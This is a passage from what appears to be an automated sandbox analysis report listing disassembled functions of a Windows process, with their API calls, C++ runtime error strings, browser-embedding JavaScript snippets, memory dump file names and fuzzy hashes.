Instruction Fuzzy Hash: B421DE22A28AE691EB189F2DD50927D73A1EB41FC8F589130CB2D073D9EF7CE151A340

Function 00007FF7F96E3260 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

?_Xout_of_range@std@@YAXPEBD@Z.MSVCP140(?,?,?,00007FF7F96E307B), ref: 00007FF7F96E327D

Strings

invalid string position, xrefs: 00007FF7F96E3276

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xout_of_range@std@@
String ID: invalid string position
API String ID: 1960685668-1799206989
Opcode ID: 39bc57a7c996044000b8f0ac340acb9529ebaab51d3efb8f16ee4a635c87aee7
Instruction ID: 05d38e7e1a2ae28b06aa300238e4183c89943face1cd57bac718f7a628c74331
Opcode Fuzzy Hash: 39bc57a7c996044000b8f0ac340acb9529ebaab51d3efb8f16ee4a635c87aee7
Instruction Fuzzy Hash: 7121A462B18B8981EF48AF1EF9845686361EB58FC4FD84130CB6D07799DF3EE4918394

Function 00007FF7F96FEE50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

cef_string_map_alloc.LIBCEF ref: 00007FF7F96FEEC5
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FEEFD

Strings

if (__scInternalExt && __scInternalExt.CustomScrollbar) { new __scInternalExt.CustomScrollbar().activate();}, xrefs: 00007FF7F96FEE6B

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$cef_string_map_alloc
String ID: if (__scInternalExt && __scInternalExt.CustomScrollbar) { new __scInternalExt.CustomScrollbar().activate();}
API String ID: 3856544966-1929393026
Opcode ID: 8e5c3c177139f802837b7980348f181a94c747ff7433c4aeb07622180e720b4f
Instruction ID: e89f2a8a7ee87a71e9483e90a27752e2bbc76694df46d5556819ab794d7d1b62
Opcode Fuzzy Hash: 8e5c3c177139f802837b7980348f181a94c747ff7433c4aeb07622180e720b4f
Instruction Fuzzy Hash: 8D217162609B8581EB51AF14E84436AAB71FBC5BD4F989231EBAD03AEDDF3CC444C750

Function 00007FF7F96FEF40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

cef_string_map_alloc.LIBCEF ref: 00007FF7F96FEFB5
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FEFED

Strings

if (__scInternalExt && __scInternalExt.DisableTextSelect) { __scInternalExt.DisableTextSelect();}, xrefs: 00007FF7F96FEF5B

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$cef_string_map_alloc
String ID: if (__scInternalExt && __scInternalExt.DisableTextSelect) { __scInternalExt.DisableTextSelect();}
API String ID: 3856544966-2589232223
Opcode ID: c45757a5cfbc2a3afef824883f17d38b95613549d0e78bcdc3176d00afcd2908
Instruction ID: a67fdcbcff995676c9a68e61f1f3965e0620054751ab7440714a9d622f98c22b
Opcode Fuzzy Hash: c45757a5cfbc2a3afef824883f17d38b95613549d0e78bcdc3176d00afcd2908
Instruction Fuzzy Hash: CF217122608B8181EB51AF15E85036AAB71FB85BD4F989231EBAD03AEDDF3CC444C750

Function 00007FF8B90EAC30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00007FF8B90EACBC
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90EACCD

Part of subcall function 00007FF8B90F5E20: setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F5DA0
Part of subcall function 00007FF8B90F5E20: setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F5DB2
Part of subcall function 00007FF8B90F5E20: setlocale.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90F5E3B

Strings

bad locale name, xrefs: 00007FF8B90EACB0

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: setlocale$ExceptionThrow_lock_localesstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 1683849403-1405518554
Opcode ID: 7c9bcb853565743618b71d0b67f6afb15cda60452226c720ad76d4234984937c
Instruction ID: 006cb07ff68ac54872a5cb3242eea11734198c3c98449d5297596b084feda014
Opcode Fuzzy Hash: 7c9bcb853565743618b71d0b67f6afb15cda60452226c720ad76d4234984937c
Instruction Fuzzy Hash: 39118F32A05BC189C7549F39A84005977B9EB98BE4B184275CBAC4339AEF38D955C340

Function 00007FF7F971DCA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF7F971DD14

Strings

vector<T> too long, xrefs: 00007FF7F971DD0D
gfffffff, xrefs: 00007FF7F971DCB0

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xlength_error@std@@
String ID: gfffffff$vector<T> too long
API String ID: 1004598685-118341189
Opcode ID: e0575076ecd3c4c86da7fa7fd0dbc3d6825d5a55bda48c19eddb97b109de987b
Instruction ID: 118a371cf005d83ce5a01a9cfa4e27814a6c6938a8e505aedf6b18ee36d58b23
Opcode Fuzzy Hash: e0575076ecd3c4c86da7fa7fd0dbc3d6825d5a55bda48c19eddb97b109de987b
Instruction Fuzzy Hash: 6B01A1D1B1479D42AE08CBA7BB188A48322A75CBC07919432DD1EDB394F83CA585C653

Function 00007FF7F96E4460 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

?_Xout_of_range@std@@YAXPEBD@Z.MSVCP140(?,?,?,00007FF7F96E41E2), ref: 00007FF7F96E4480
memmove.VCRUNTIME140(?,?,?,00007FF7F96E41E2), ref: 00007FF7F96E44DE

Strings

invalid string position, xrefs: 00007FF7F96E4479

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xout_of_range@std@@memmove
String ID: invalid string position
API String ID: 1894236298-1799206989
Opcode ID: dde0ee69190c90e305226251dbe193aa0800190eac452c817480dce08e476b2c
Instruction ID: 229e0f5d80c6292740bb28573ed3e89d6a7d28620b6ae80acf05699eb03c9a5c
Opcode Fuzzy Hash: dde0ee69190c90e305226251dbe193aa0800190eac452c817480dce08e476b2c
Instruction Fuzzy Hash: 3411B461B14785C2DF04AF29E988068B372EB98FC8BA45031C72D477A8DE3ED55183A4

Function 00007FF8BFB5676F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB56B10: RtlPcToFileHeader.KERNEL32 ref: 00007FF8BFB56B60
Part of subcall function 00007FF8BFB56B10: RaiseException.KERNEL32 ref: 00007FF8BFB56BA1

RtlPcToFileHeader.KERNEL32 ref: 00007FF8BFB567DF

Strings

Bad dynamic_cast!, xrefs: 00007FF8BFB56792
Access violation - no RTTI data!, xrefs: 00007FF8BFB5676F

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: FileHeader$ExceptionRaise
String ID: Access violation - no RTTI data!$Bad dynamic_cast!
API String ID: 3685223789-3176238549
Opcode ID: 161e8b28e34caca24568961a6528755d3751e4ffa6d3c1bec0c9a5cac7a2823b
Instruction ID: f9d3452fa6dd4fcff8e6364d79d5f81f147fe3979685a8fdf27cf7470ec7ff45
Opcode Fuzzy Hash: 161e8b28e34caca24568961a6528755d3751e4ffa6d3c1bec0c9a5cac7a2823b
Instruction Fuzzy Hash: E8017165A39A46A1EE40DB9CE461278B362FF80BC4F445435E70E07769EF6CE548C700

Function 00007FF8BFAD3244 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF8BFAD3294
RaiseException.KERNEL32 ref: 00007FF8BFAD32D5

Strings

csm, xrefs: 00007FF8BFAD32C2

Memory Dump Source

Source File: 00000005.00000002.2549530455.00007FF8BFAD1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8BFAD0000, based on PE: true

Associated: 00000005.00000002.2549435771.00007FF8BFAD0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549677238.00007FF8BFAD8000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549715751.00007FF8BFAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfad0000_zfon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 603fe3ad4fecd5e6127da2d279c75e658a97bcbc96e57b625571bb65e3e10dd9
Instruction ID: ad127e7f6064c049021bc6e614e3d34a494738a0acbb8a99f5649d30e4985eb6
Opcode Fuzzy Hash: 603fe3ad4fecd5e6127da2d279c75e658a97bcbc96e57b625571bb65e3e10dd9
Instruction Fuzzy Hash: 5B115B36A18B8183EB648F59F44026977E5FB88B98F585234EF8C07798DF3CC5618B00

Function 00007FF8BFB56B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF8BFB56B60
RaiseException.KERNEL32 ref: 00007FF8BFB56BA1

Strings

csm, xrefs: 00007FF8BFB56B8E

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 96783e5d5ee86e7ed91570add2de904558e3ade983638e121ecc73efc59d9239
Instruction ID: 551a36d556d26d41289238a039416c28a131dfde6e7814a36af92ee13dc65d01
Opcode Fuzzy Hash: 96783e5d5ee86e7ed91570add2de904558e3ade983638e121ecc73efc59d9239
Instruction Fuzzy Hash: A0112B36618B8192EB658B29E450269B7E5FB88B98F584234EF8C07758DF3DD551CB00

Function 00007FF8B9115F90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0 ref: 00007FF8B9115F99
__std_exception_copy.VCRUNTIME140 ref: 00007FF8B9115FE3

Strings

invalid random_device value, xrefs: 00007FF8B9115FAC

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: __std_exception_copyrand_s
String ID: invalid random_device value
API String ID: 979846984-3926945683
Opcode ID: 1f8ed5a527de385152b09c5ece5034331ea420588227d0af696af0a8ee27bb76
Instruction ID: 8e6503cf98535788b41c1dcab9bcf08a8fa8f0b55b42fb287304e38b1bf120b2
Opcode Fuzzy Hash: 1f8ed5a527de385152b09c5ece5034331ea420588227d0af696af0a8ee27bb76
Instruction Fuzzy Hash: 87F09075B18A85E1EB059F69E8900A83374EF98B80F844431E75D87B90EF3CE5A9D300

Function 00007FF8B9116540 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00007FF8B911654C

Part of subcall function 00007FF8B90EB090: __std_exception_copy.VCRUNTIME140 ref: 00007FF8B90EB0C2

_CxxThrowException.VCRUNTIME140 ref: 00007FF8B911655D

Strings

bad function call, xrefs: 00007FF8B9116570

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionThrow__std_exception_copystd::invalid_argument::invalid_argument
String ID: bad function call
API String ID: 1180758849-3612616537
Opcode ID: e7b691aa0131a1abb8dcc5df0449dfc66b02b47a65c773ff1f5cad3373210a14
Instruction ID: 7be58c2aa8516af623fd180ef3c23c5b6999357e6d463c1f058f688f08fd99e3
Opcode Fuzzy Hash: e7b691aa0131a1abb8dcc5df0449dfc66b02b47a65c773ff1f5cad3373210a14
Instruction Fuzzy Hash: A7D09262A28986A5DE11AB29D8510AA6325BB943C4F900172D25D06AB6EE1CE609D710

Function 00007FF8BFB5F450 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB56E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BFB529EE), ref: 00007FF8BFB56E56

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB5F48A

Strings

csm, xrefs: 00007FF8BFB5F46B
f, xrefs: 00007FF8BFB5F465

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: abortterminate
String ID: csm$f
API String ID: 661698970-629598281
Opcode ID: 89070a3729e3cdc045543aa2d9e9ff952cd9e076b18af429ec74a74252da6a16
Instruction ID: ac9395c15e5169c9d9001a590399c4ede0612301273408b2dbf089c8e31b4680
Opcode Fuzzy Hash: 89070a3729e3cdc045543aa2d9e9ff952cd9e076b18af429ec74a74252da6a16
Instruction Fuzzy Hash: D9E06532D0825291E7606BA5B29013DA7A4EF49BD4F148074DF8806646CF3CE4A08701

Function 00007FF8B90ED400 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_W_Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B90ED40D

Part of subcall function 00007FF8B90EB710: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF8B90FC445), ref: 00007FF8B90EB739
Part of subcall function 00007FF8B90EB710: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF8B90FC445), ref: 00007FF8B90EB768
Part of subcall function 00007FF8B90EB710: memcpy.VCRUNTIME140(?,?,00000000,00007FF8B90FC445), ref: 00007FF8B90EB77F

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90ED42A

Strings

:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FF8B90ED435

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: free$Getdaysmallocmemcpy
String ID: :Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 1347072587-3283725177
Opcode ID: 35240cb5f5100ad4a6dbdd5295e329d3b5d0df92d6cb6440ee87cb48881eb460
Instruction ID: 9f112bebb3934ae2b68ac2c733ef7f8c903aeaa85f33138911183ff3f6d1b9c8
Opcode Fuzzy Hash: 35240cb5f5100ad4a6dbdd5295e329d3b5d0df92d6cb6440ee87cb48881eb460
Instruction Fuzzy Hash: DFE03921B18B82A2EE149F1AF5442682370EF08BD0F880134DB0D03B50EF3CE4A48310

Function 00007FF8B90ED450 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_W_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B90ED45D

Part of subcall function 00007FF8B90EB710: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF8B90FC445), ref: 00007FF8B90EB739
Part of subcall function 00007FF8B90EB710: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF8B90FC445), ref: 00007FF8B90EB768
Part of subcall function 00007FF8B90EB710: memcpy.VCRUNTIME140(?,?,00000000,00007FF8B90FC445), ref: 00007FF8B90EB77F

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90ED47A

Strings

:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece, xrefs: 00007FF8B90ED485

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: free$Getmonthsmallocmemcpy
String ID: :Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece
API String ID: 1628830074-2030377133
Opcode ID: c82f8f9ad4e2d2af623f2a64a55ac3353b2c765cd361e64e07e7ab3c08dd46ed
Instruction ID: f0e8f8d4a671ae56aa31a49a57d923024351419750fbe850cf608bdb7fd88813
